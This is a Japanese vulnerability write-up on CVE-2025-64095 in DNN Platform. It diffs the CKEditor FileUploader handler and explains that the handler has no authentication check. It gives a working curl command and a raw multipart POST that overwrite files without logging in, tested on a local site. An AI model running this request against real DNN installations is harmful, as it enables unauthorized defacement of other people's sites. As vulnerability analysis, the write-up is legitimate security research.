
DNNの不十分なアクセス制御のPOC - 画像アップロードによりサイトコンテンツの上書きが可能
DNNの不十分なアクセス制御 - 画像アップロードによるサイトコンテンツの上書きのPOC
私は単純な男です。cvss:10/10を見たら突撃します xD
この新しいCVE CVE-2025-64095(DNNの不十分なアクセス制御 - 画像アップロードによるサイトコンテンツの上書き)を確認しました。
デフォルトのHTMLエディタプロバイダーは認証なしのファイルアップロードを許可しており、画像が既存のファイルを上書きできます。
説明 認証されていないユーザーが既存のファイルをアップロードして置き換えることができ、Webサイトの改ざんが可能になります。また、他の問題と組み合わせると、XSSペイロードを注入できます。
https://nvd.nist.gov/vuln/detail/CVE-2025-64095
基本スコア: 10.0 CRITICAL 🤷♂️
結局それほど重大ではありませんでした。ASPやASPXなどのWebシェルはアップロードできません**(少なくともデフォルト構成では)**。アップロードできるのは画像とSVGのみです。また、Webサーバー上の既存のファイルを特定のパスにのみアップロード/書き込みでき、ルートディレクトリにファイルをアップロードすることすらできません。
10.1.1より前のすべてのバージョンが脆弱であるため、DNN Platform 10.1.0(最後の脆弱なバージョン)を使用しました。
差分は少し大きいですが、私はファイルアップロードに関連するコード、具体的には Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx にのみ関心があります。そこで、10.1.1で何が修正されたのか(もしあれば)を理解するために、この特定のファイルをバージョン間で比較することに焦点を当てました。
私が見つけた内容と、どのようにしてこの脆弱性を発見したかを順を追って説明します。
2つのバージョンを最初に確認したとき、DNN Platform 10.1.0と10.1.1の間で全体的な差分は158個の変更ファイルを示していました。そのほとんどは単なる 改善 - ファイルスコープの名前空間でした。しかし、ファイルアップロードの脆弱性が修正されているかどうかを確認する必要がありました。
脆弱なファイルは Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs にあります。これはCKEditorのファイルアップロードハンドラーで、ファイルアップロードの脆弱性に対する一般的な攻撃対象です。
10.1.0の ProcessRequest メソッドを見てみましょう:
public void ProcessRequest(HttpContext context)
{
context.Response.AddHeader("Pragma", "no-cache");
context.Response.AddHeader("Cache-Control", "private, no-cache");
this.HandleMethod(context);
}
これだけです。文字通り認証チェックはありません。誰でもこのエンドポイントにリクエストを送信してファイルをアップロードできます。セッションチェックも何もありません。
処理の流れは次のとおりです:
FileUploader.ashx にPOSTリクエストを送信するProcessRequest が呼び出されるHandleMethod を呼び出し、UploadFile にルーティングするUploadFile が UploadWholeFile を呼び出すUploadWholeFile はユーザーがログインしているかどうかを確認せずにアップロードを処理するアップロードロジック全体は、230行目あたりから始まる UploadWholeFile 内で行われます。重要な部分を見せます:
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
var fileName = Path.GetFileName(file.FileName); // Line 236
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
// ... more processing ...
// Rename File if Exists
if (!this.OverrideFiles) // Line 268
{
var counter = 0;
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
}
}
var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
var userId = UserController.Instance.GetCurrentUserInfo().UserID; // Line 284 - gets userId but never checked!
if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
{
FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
}
else
{
// Image resizing logic follows...
}
}
}
284行目では、UserController.Instance.GetCurrentUserInfo() を呼び出してuserIdを取得していますが、ユーザーが認証されているかどうかは実際には検証していません。ログインしていない場合、これはnullまたは匿名ユーザーを返すだけで、アップロードはとにかく続行されます。
また、268行目の OverrideFiles プロパティにも注目してください:
private bool OverrideFiles =>
HttpContext.Current.Request["overrideFiles"].Equals("1")
|| HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
これはユーザーが制御できるパラメーターです!誰でもアップロードリクエストで overrideFiles=1 を設定して、既存のファイルを上書きできます。
簡単なcurlコマンドを作成してテストしました:
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "[email protected]" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
生のPOSTリクエスト
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"
0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"
Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194
[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
ファイルは正常にアップロードされました。http://mysite.dnndev.me/Portals/_default/poc.png を確認して検証しましたが、確かにそこにありました。
そして、ファイルは \Portals_default ディレクトリに配置されます :
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File
Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/31/2025 4:16 PM 0 poc.png
PS C:\Users\pwn\Documents\site\web02>
ルートディレクトリ内のファイルを書き換えるためにパストラバーサルを探していましたが、保護は実際にはかなりしっかりしています。見てください
var fileName = Path.GetFileName(file.FileName);
これは正しく機能します。Path.GetFileName() はディレクトリトラバーサルシーケンスを自動的に除去します。つまり、../../../foo という名前のファイルをアップロードしようとすると、単に foo になります。
コードには "DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs" に追加の保護もあります。
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (var i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
if (file is null)
{
continue;
}
var fileName = Path.GetFileName(file.FileName);
if (!string.IsNullOrEmpty(fileName))
{
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
}
else
{
throw new HttpRequestValidationException("File does not have a name");
}
if (fileName.Length > 220)
{
fileName = fileName.Substring(fileName.Length - 220);
}
// file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);
// Rename File if Exists
if (!OverrideFiles)
{
var counter = 0;
while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format(
"{0}_{1}{2}",
fileNameNoExtenstion,
counter,
Path.GetExtension(file.FileName));
}
}
コードでわかるように // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
先ほど言ったように、結局これは重大な脆弱性ではないと思います。